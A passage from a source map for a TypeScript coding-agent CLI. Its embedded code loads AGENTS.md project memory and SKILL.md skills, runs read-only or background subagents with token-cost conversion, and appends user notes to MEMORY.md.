block: string | null;\n}\n\nconst cache = new Map<string, CacheEntry>();\n\n// Reads <cwd>/AGENTS.md as project memory for the system prompt. Returns a\n// delimited block, or null when the file is missing, unreadable, or empty.\n// Synchronous like the git helpers; content is cached by path and re-read\n// only when the mtime changes, so /init regenerations mid-session are\n// picked up without a stat+read on every turn beyond a cheap statSync.\nexport function readProjectMemory(cwd: string): string | null {\n const file = path.join(cwd, PROJECT_MEMORY_FILE);\n let mtimeMs: number;\n try {\n mtimeMs = statSync(file).mtimeMs;\n } catch {\n return null;\n }\n const hit = cache.get(file);\n if (hit && hit.mtimeMs === mtimeMs) return hit.block;\n\n let block: string | null = null;\n try {\n let body = readFileSync(file, \"utf8\").trim();\n if (body) {\n if (body.length > PROJECT_MEMORY_MAX_CHARS) {\n body = `${body.slice(0, PROJECT_MEMORY_MAX_CHARS)}\\n\\n[AGENTS.md truncated to ${PROJECT_MEMORY_MAX_CHARS} characters]`;\n }\n block = `# Project instructions (AGENTS.md)\\n${body}`;\n }\n } catch {\n block = null;\n }\n cache.set(file, { mtimeMs, block });\n return block;\n}\n","import { readFileSync, readdirSync, statSync } from \"node:fs\";\nimport path from \"node:path\";\nimport { z } from \"zod\";\nimport { starHome } from \"../config/paths\";\nimport type { Tool, ToolResult } from \"../tools/types\";\n\nexport const SKILL_FILE = \"SKILL.md\";\nexport const SKILL_MAX_CHARS = 32 * 1024;\n\nconst NAME_PATTERN = /^[a-z0-9-]+$/;\n\nexport interface Skill {\n name: string;\n description: string;\n filePath: string;\n // Directory holding the SKILL.md; supporting files referenced by the skill\n // are resolved relative to it.\n dir: string;\n scope: \"project\" | \"user\";\n}\n\n// Parses the YAML-ish frontmatter of a SKILL.md without a yaml dependency:\n// only flat `key: value` pairs are recognized, anything else is ignored.\nfunction parseFrontmatter(raw: string): { meta: Record<string, string>; body: string } | null {\n const match = raw.match(/^---\\r?\\n([\\s\\S]*?)\\r?\\n---\\r?\\n?/);\n if (!match) return null;\n const meta: Record<string, string> = {};\n for (const line of (match[1] ?? \"\").split(/\\r?\\n/)) {\n const kv = line.match(/^([A-Za-z][A-Za-z0-9_-]*):\\s*(.*)$/);\n if (kv?.[1]) meta[kv[1]] = (kv[2] ?? \"\").trim();\n }\n return { meta, body: raw.slice(match[0].length).trim() };\n}\n\ninterface CacheEntry {\n mtimeMs: number;\n skill: Skill | null;\n}\n\nconst cache = new Map<string, CacheEntry>();\n\nfunction parseSkillFile(filePath: string, dirName: string, scope: Skill[\"scope\"]): Skill | null {\n let mtimeMs: number;\n try {\n mtimeMs = statSync(filePath).mtimeMs;\n } catch {\n return null;\n }\n const hit = cache.get(filePath);\n if (hit && hit.mtimeMs === mtimeMs) return hit.skill;\n\n let skill: Skill | null = null;\n try {\n const parsed = parseFrontmatter(readFileSync(filePath, \"utf8\"));\n const name = parsed?.meta.name || dirName;\n const description = parsed?.meta.description;\n if (parsed && NAME_PATTERN.test(name) && description) {\n skill = { name, description, filePath, dir: path.dirname(filePath), scope };\n }\n } catch {\n skill = null;\n }\n cache.set(filePath, { mtimeMs, skill });\n return skill;\n}\n\nfunction scanDir(base: string, scope: Skill[\"scope\"], into: Map<string, Skill>): void {\n let entries: string[];\n try {\n entries = readdirSync(base);\n } catch {\n return;\n }\n for (const entry of entries.sort()) {\n if (!NAME_PATTERN.test(entry)) continue;\n const parsed = parseSkillFile(path.join(base, entry, SKILL_FILE), entry, scope);\n if (parsed) into.set(parsed.name, parsed);\n }\n}\n\n// Discovers skills: user scope in <home>/skills/<name>/SKILL.md, project scope\n// in <cwd>/.star/skills/<name>/SKILL.md. Project skills override user skills\n// of the same name. Metadata is cached per file by mtime, so calling this on\n// every turn only costs two directory scans plus a stat per candidate.\nexport function discoverSkills(cwd: string, home: string = starHome()): Skill[] {\n const byName = new Map<string, Skill>();\n scanDir(path.join(home, \"skills\"), \"user\", byName);\n scanDir(path.join(cwd, \".star\", \"skills\"), \"project\", byName);\n return [...byName.values()];\n}\n\n// System-prompt block listing the available skills. The model loads a skill's\n// full instructions on demand through the skill tool instead of paying the\n// token cost upfront.\nexport function formatSkillsBlock(skills: Skill[]): string {\n const lines = skills.map((s) => `- ${s.name}: ${s.description}`);\n return [\n \"# Available skills\",\n \"When the user's request matches one of these skills, call the skill tool with its name to load the full instructions before proceeding:\",\n ...lines,\n ].join(\"\\n\");\n}\n\n// Reads the skill body (frontmatter stripped) for the skill tool result.\nexport function loadSkillBody(skill: Skill): string | null {\n let parsed: { meta: Record<string, string>; body: string } | null = null;\n try {\n parsed = parseFrontmatter(readFileSync(skill.filePath, \"utf8\"));\n } catch {\n return null;\n }\n if (!parsed?.body) return null;\n if (parsed.body.length > SKILL_MAX_CHARS) {\n return `${parsed.body.slice(0, SKILL_MAX_CHARS)}\\n\\n[skill truncated to ${SKILL_MAX_CHARS} characters]`;\n }\n return parsed.body;\n}\n\n// The skill tool re-discovers skills on every call, so skills added\n// mid-session are usable without a restart.\nexport function createSkillTool(deps: { cwd: string; home?: string }): Tool {\n return {\n name: \"skill\",\n description:\n \"Load the full instructions of a skill by name. Available skills are listed in the system prompt when present; call this before starting work that matches one of them.\",\n permission: \"read\",\n parameters: z.object({\n name: z.string().describe(\"Name of the skill to load, as listed in the system prompt.\"),\n }),\n async execute(args): Promise<ToolResult> {\n const skills = discoverSkills(deps.cwd, deps.home);\n const skill = skills.find((s) => s.name === args.name);\n if (!skill) {\n const available = skills.map((s) => s.name).join(\", \") || \"none\";\n return {\n content: `Unknown skill: \"${args.name}\". Available skills: ${available}`,\n isError: true,\n };\n }\n const body = loadSkillBody(skill);\n if (!body) {\n return { content: `Skill \"${skill.name}\" is empty or unreadable.`, isError: true };\n }\n return {\n content: [\n `# Skill: ${skill.name}`,\n \"\",\n body,\n \"\",\n `Base directory for relative file references in this skill: ${skill.dir}`,\n ].join(\"\\n\"),\n };\n },\n };\n}\n","import { randomUUID } from \"node:crypto\";\nimport type { LanguageModel } from \"ai\";\nimport { z } from \"zod\";\nimport type { ModelConfig, StarConfig } from \"../config/schema\";\nimport { type TokenUsage, usageTotalTokens } from \"../core/events\";\nimport type { PermissionRequest } from \"../permissions/types\";\nimport { createDefaultRegistry } from \"../tools\";\nimport type { Tool, ToolResult } from \"../tools/types\";\nimport { defaultAgentTasks } from \"./agent-tasks\";\n\n// Subagents run one level deep: the child loop is created without the\n// subagent tool, so a subagent can never spawn another subagent.\nexport const MAX_SUBAGENT_DEPTH = 1;\n\nconst MAX_REPORT_CHARS = 20_000;\n\nconst SUBAGENT_PROMPT =\n \"You are a subagent spawned to handle a focused subtask on behalf of the main agent. Work autonomously with the tools available to you. Your final text is returned to the main agent as the tool result — make it a self-contained report: state what you found or did, cite exact file paths with line numbers for anything the main agent may need to open, and note explicitly anything left undone or unverified. Report outcomes, not process.\";\n\nconst READ_ONLY_PROMPT =\n \"This subtask is read-only: your tools cannot modify files, run shell commands, or kill tasks. Investigate and report; do not attempt changes.\";\n\nexport interface SubagentDeps {\n model: LanguageModel;\n config: StarConfig;\n cwd: string;\n system?: string;\n // Inherited from the parent loop so the child requests carry the same\n // provider metadata (reasoningEffort).\n providerMetadata?: Record<string, Record<string, unknown>>;\n // Inherited from the parent loop (the model's [[models]] temperature key).\n temperature?: number;\n // Inherited from the parent loop (the model's [[models]] stream watchdog\n // overrides); unset falls back to the top-level config values.\n streamIdleTimeoutSec?: number;\n streamFirstChunkTimeoutSec?: number;\n // Inherited from the parent loop (the model's [[models]] vision key); when\n // false the child's read_image/screenshot decline with a text error too.\n vision?: boolean;\n depth: number;\n // The [[models]] entry name deps.model was resolved from, inherited from\n // the parent loop; forwarded to onUsage so price conversion keys on the\n // entry, not the model id (several entries can share one id with\n // different prices).\n modelName?: string;\n getConfirmHandler?: () => ((req: PermissionRequest) => Promise<boolean>) | undefined;\n // Receives the child loop's accumulated token usage once the run settles\n // (sync or background, success or failure), along with the model the\n // child ran on and its [[models]] entry name. The parent loop folds it\n // into its own finish events, so subagent spend flows into /cost, /usage\n // and sessionBudgetUsd without those consumers changing.\n onUsage?: (usage: TokenUsage, model: LanguageModel, modelName?: string) => void;\n}\n\ninterface SubagentArgs {\n prompt: string;\n description?: string;\n read_only?: boolean;\n}\n\n// Session cost is computed by the consumers as token totals × the *active*\n// model's price (cli/cost.ts computeCostUsd, over the session usage built\n// from root-loop finish events). Folding a child's tokens straight into the\n// parent's totals would misprice them when the child ran on a differently\n// priced model, so each priced token class is converted into the number of\n// parent-priced tokens that bills the same dollars. A child on the same\n// model (the common case) short-circuits to the exact counts; when either\n// side lacks full pricing (or the parent prices a class at 0, making\n// dollars inexpressible as tokens) the raw counts pass through — the same\n// approximation the session total already makes.\n// Price entries resolve by [[models]] name first (names.fromName/toName):\n// two entries can share one model id with different prices, and the id\n// lookup would pick the first. Without a name, the model id match is the\n// fallback.\nexport function convertUsagePricing(\n usage: TokenUsage,\n from: LanguageModel,\n to: LanguageModel,\n config: StarConfig,\n names?: { fromName?: string; toName?: string },\n): TokenUsage {\n if (from === to) return usage;\n const fromCfg = findModelPricing(config, names?.fromName, from.modelId);\n const toCfg = findModelPricing(config, names?.toName, to.modelId);\n if (\n fromCfg?.promptPrice === undefined ||\n fromCfg.completionPrice === undefined ||\n toCfg?.promptPrice === undefined ||\n toCfg.completionPrice === undefined ||\n toCfg.promptPrice <= 0 ||\n toCfg.completionPrice <= 0\n ) {\n return usage;\n }\n // Dollars per token class under the child's pricing, mirroring\n // computeCostUsd's cache rules (cached prompt tokens are a subset billed\n // at cacheReadPrice ?? promptPrice; Anthropic-style cache reads come on\n // top at cacheReadPrice ?? 0). The per-million divisor cancels in the\n // ratio, so prices are used as-is.\n const cached = Math.min(Math.max(usage.cachedPromptTokens ?? 0, 0), usage.promptTokens);\n const promptUsd = (usage.promptTokens - cached) * fromCfg.promptPrice;\n const cachedUsd = cached * (fromCfg.cacheReadPrice ?? fromCfg.promptPrice);\n const cacheReadUsd = (usage.cacheReadInputTokens ?? 0) * (fromCfg.cacheReadPrice ?? 0);\n const completionUsd = usage.completionTokens * fromCfg.completionPrice;\n\n const scaledCached = cachedUsd / (toCfg.cacheReadPrice ?? toCfg.promptPrice);\n const promptTokens = Math.round(promptUsd / toCfg.promptPrice + scaledCached);\n const cachedPromptTokens = Math.round(scaledCached);\n // A parent without a cache-read price bills that class at 0, so its\n // dollars ride on the completion class instead of being dropped.\n const toCacheReadPrice =\n toCfg.cacheReadPrice !== undefined && toCfg.cacheReadPrice > 0\n ? toCfg.cacheReadPrice\n : undefined;\n const completionTokens = Math.round(\n completionUsd / toCfg.completionPrice +\n (toCacheReadPrice === undefined ? cacheReadUsd / toCfg.completionPrice : 0),\n );\n const cacheReadInputTokens =\n toCacheReadPrice === undefined ? 0 : Math.round(cacheReadUsd / toCacheReadPrice);\n const result: TokenUsage = {\n promptTokens,\n completionTokens,\n totalTokens: promptTokens + completionTokens,\n };\n if (cachedPromptTokens > 0) result.cachedPromptTokens = cachedPromptTokens;\n if (cacheReadInputTokens > 0) result.cacheReadInputTokens = cacheReadInputTokens;\n return result;\n}\n\n// The [[models]] entry whose price applies to a run: the entry name the\n// model was resolved from when known (exact), else the first entry carrying\n// the same model id (legacy fallback).\nfunction findModelPricing(\n config: StarConfig,\n name: string | undefined,\n modelId: string,\n): ModelConfig | undefined {\n if (name !== undefined) {\n const byName = config.models.find((m) => m.name === name);\n if (byName) return byName;\n }\n return config.models.find((m) => m.model === modelId);\n}\n\n// Runs a child loop to completion and returns its formatted report; the\n// sync tool path and background agent tasks share this. agentIdRef carries\n// the child loop's task ownership id: for background spawns it is filled\n// with the agent task's id (see execute below), so background shell tasks\n// the child starts belong to the child, not to root.\nasync function runSubagent(\n deps: SubagentDeps,\n args: SubagentArgs,\n cwd: string,\n signal: AbortSignal,\n agentIdRef?: { id?: string },\n): Promise<string> {\n const { AgentLoop } = await import(\"./loop\");\n const child = new AgentLoop({\n model: deps.model,\n registry: createDefaultRegistry(),\n config: deps.config,\n cwd,\n system: deps.system\n ? `${deps.system}\\n\\n${SUBAGENT_PROMPT}${args.read_only ? `\\n\\n${READ_ONLY_PROMPT}` : \"\"}`\n : `${SUBAGENT_PROMPT}${args.read_only ? `\\n\\n${READ_ONLY_PROMPT}` : \"\"}`,\n providerMetadata: deps.providerMetadata,\n temperature: deps.temperature,\n streamIdleTimeoutSec: deps.streamIdleTimeoutSec,\n streamFirstChunkTimeoutSec: deps.streamFirstChunkTimeoutSec,\n vision: deps.vision,\n subagentDepth: deps.depth + 1,\n readOnly: args.read_only,\n modelName: deps.modelName,\n // Read after the dynamic-import await: defaultAgentTasks.start() has\n // returned by then, so a background spawn's ref.id is already assigned.\n // Foreground spawns get a throwaway id.\n agentId: agentIdRef?.id ?? `subagent-${randomUUID().slice(0, 8)}`,\n });\n const confirmHandler = deps.getConfirmHandler?.();\n if (confirmHandler) child.confirmHandler = confirmHandler;\n\n let toolCalls = 0;\n let error: string | null = null;\n const usage: TokenUsage = { promptTokens: 0, completionTokens: 0, totalTokens: 0 };\n try {\n for await (const event of child.stream(args.prompt, signal)) {\n if (event.type === \"tool-result\") {\n toolCalls++;\n } else if (event.type === \"error\") {\n error = event.error.message;\n break;\n } else if (event.type === \"finish\" && event.usage) {\n usage.promptTokens += event.usage.promptTokens;\n usage.completionTokens += event.usage.completionTokens;\n // Sum the billed classes, not the provider's reported total: a\n // totalTokens that also counts reasoning would double-bill those\n // classes here and again in the parent's fold.\n usage.totalTokens += usageTotalTokens(event.usage);\n usage.cachedPromptTokens =\n (usage.cachedPromptTokens ?? 0) + (event.usage.cachedPromptTokens ?? 0);\n usage.cacheReadInputTokens =\n (usage.cacheReadInputTokens ?? 0) + (event.usage.cacheReadInputTokens ?? 0);\n }\n }\n } catch (e) {\n error = e instanceof Error ? e.message : String(e);\n } finally {\n // The child spent tokens even when it errored or was aborted — report\n // whatever accumulated so the parent can bill it.\n if (usage.totalTokens > 0) deps.onUsage?.(usage, deps.model, deps.modelName);\n }\n\n // A user abort ends the child loop without an error event; surface it\n // through the same interrupted path as any other aborted tool instead of\n // returning a \"successful\" report that gets persisted as a normal result.\n if (signal.aborted) {\n throw new Error(\"Tool execution aborted.\");\n }\n\n let report = \"\";\n const messages = child.getMessages();\n for (let i = messages.length - 1; i >= 0; i--) {\n const message = messages[i];\n if (message?.role !== \"assistant\" || !Array.isArray(message.content)) continue;\n const text = message.content\n .filter((part) => part.type === \"text\")\n .map((part) => part.text)\n .join(\"\");\n if (text) {\n report = text;\n break;\n }\n }\n if (report.length > MAX_REPORT_CHARS) {\n report = `${report.slice(0, MAX_REPORT_CHARS)}\\n... (truncated)`;\n }\n\n const tags = [\n args.description ? `\"${args.description}\"` : null,\n args.read_only ? \"read-only\" : null,\n ]\n .filter(Boolean)\n .join(\" \");\n const stats = `[subagent${tags ? ` ${tags}` : \"\"}: ${toolCalls} tool call(s)]`;\n if (error) {\n throw new Error([`Subagent failed: ${error}`, stats, report].filter(Boolean).join(\"\\n\"));\n }\n return `${stats}\\n${report || \"(subagent produced no text output)\"}`;\n}\n\nexport function createSubagentTool(deps: SubagentDeps): Tool {\n return {\n name: \"subagent\",\n description:\n \"Spawn a subagent with its own agent loop to handle a focused subtask (research, exploration, or an isolated change). The subagent has the same tools but cannot spawn further subagents, and it starts with zero context beyond what you write — brief it like a colleague who just walked in: state the goal, hand over what you already know (paths, identifiers, prior findings), and say exactly what the report should contain. Returns the subagent's final report. Prefer this for self-contained work that would otherwise clutter the main conversation. Set read_only for research, exploration, or review subtasks that must not modify anything. Set run_in_background to start it without blocking: independent subtasks then run concurrently and their reports are delivered to you automatically when they finish (also inspectable via task_list/task_output/task_kill).\",\n permission: \"exec\",\n parameters: z.object({\n prompt: z\n .string()\n .describe(\n \"Complete, self-contained instructions for the subagent: the goal, everything you already know that it needs, and the expected report.\",\n ),\n description: z\n .string()\n .optional()\n .describe(\"Short label for the subtask, shown in the result header.\"),\n read_only: z\n .boolean()\n .optional()\n .describe(\n \"Restrict the subagent to read-level tools — no file writes, no shell commands, no task kills (default false). Use for research, exploration, and review subtasks.\",\n ),\n run_in_background: z\n .boolean()\n .optional()\n .describe(\n \"Run concurrently in the background and return a task id immediately (default false). Use for independent subtasks that can run in parallel.\",\n ),\n }),\n async execute(args, ctx): Promise<ToolResult> {\n if (args.run_in_background) {\n // start() invokes the closure synchronously, but runSubagent's first\n // await (the dynamic import) only continues after start() returns\n // and ref.id is assigned — so the child loop's agentId is its own\n // background task id.\n const ref: { id?: string } = {};\n const task = defaultAgentTasks.start(\n (signal) => runSubagent(deps, args, ctx.cwd, signal, ref),\n {\n prompt: args.prompt,\n description: args.description,\n },\n );\n ref.id = task.id;\n const label = args.description ? ` \"${args.description}\"` : \"\";\n return {\n content: `Background subagent ${task.id}${label} started. Its report will be delivered as a message when it finishes; use task_list/task_output to check progress.`,\n };\n }\n\n const signal = ctx.abortSignal ?? new AbortController().signal;\n try {\n return { content: await runSubagent(deps, args, ctx.cwd, signal) };\n } catch (e) {\n return { content: e instanceof Error ? e.message : String(e), isError: true };\n }\n },\n };\n}\n","import { appendFileSync, mkdirSync, readFileSync, statSync } from \"node:fs\";\nimport path from \"node:path\";\nimport { z } from \"zod\";\nimport { starHome, userMemoryPath } from \"../config/paths\";\nimport type { Tool, ToolResult } from \"../tools/types\";\n\nexport const USER_MEMORY_MAX_CHARS = 32 * 1024;\nexport const REMEMBER_TEXT_MAX_CHARS = 500;\n\ninterface CacheEntry {\n mtimeMs: number;\n block: string | null;\n}\n\nconst cache = new Map<string, CacheEntry>();\n\n// Reads <home>/MEMORY.md as user long-term memory for the system prompt,\n// mirroring readProjectMemory: a delimited block, or null when the file is\n// missing, unreadable, or empty. Content is cached by path and re-read only\n// when the mtime changes, so appends via the remember tool self-invalidate.\nexport function readUserMemory(home: string = starHome()): string | null {\n const file = path.join(home, \"MEMORY.md\");\n let mtimeMs: number;\n try {\n mtimeMs = statSync(file).mtimeMs;\n } catch {\n return null;\n }\n const hit = cache.get(file);\n if (hit && hit.mtimeMs === mtimeMs) return hit.block;\n\n let block: string | null = null;\n try {\n let body = readFileSync(file, \"utf8\").trim();\n if (body) {\n if (body.length > USER_MEMORY_MAX_CHARS) {\n body = `${body.slice(0, USER_MEMORY_MAX_CHARS)}\\n\\n[MEMORY.md truncated to ${USER_MEMORY_MAX_CHARS} characters]`;\n }\n block = [\n \"# User memory (MEMORY.md)\",\n \"The following notes were saved by the user across sessions. Respect them unless they conflict with the current request.\",\n body,\n ].join(\"\\n\");\n }\n } catch {\n block = null;\n }\n cache.set(file, { mtimeMs, block });\n return block;\n}\n\n// Appends one bullet line to the memory file, creating it (and the home\n// directory) when missing. The mtime-keyed cache picks the change up on the\n// next read.\nexport function appendUserMemory(text: string, home: string = starHome()): void {\n mkdirSync(home, { recursive: true });\n appendFileSync(path.join(home, \"MEMORY.md\"), `- ${text}\\n`, \"utf8\");\n}\n\nexport function createRememberTool(deps: { home?: string } = {}): Tool {\n return {\n name: \"remember\",\n description: `Save a note to the user's long-term memory (${userMemoryPath()}), injected into every future session. ONLY use when the user explicitly asks to remember or save something. Never use autonomously.`,\n permission: \"write\",\n parameters: z.object({\n text: z\n .string()\n .max(REMEMBER_TEXT_MAX_CHARS)\n .describe(\"The note to save, as a single concise sentence.\"),\n }),\n async execute(args): Promise<ToolResult> {\n appendUserMemory(args.text, deps.home);\n return { content: `Saved to user memory: ${args.text}` };\n },\n };\n}\n"],"mappings":"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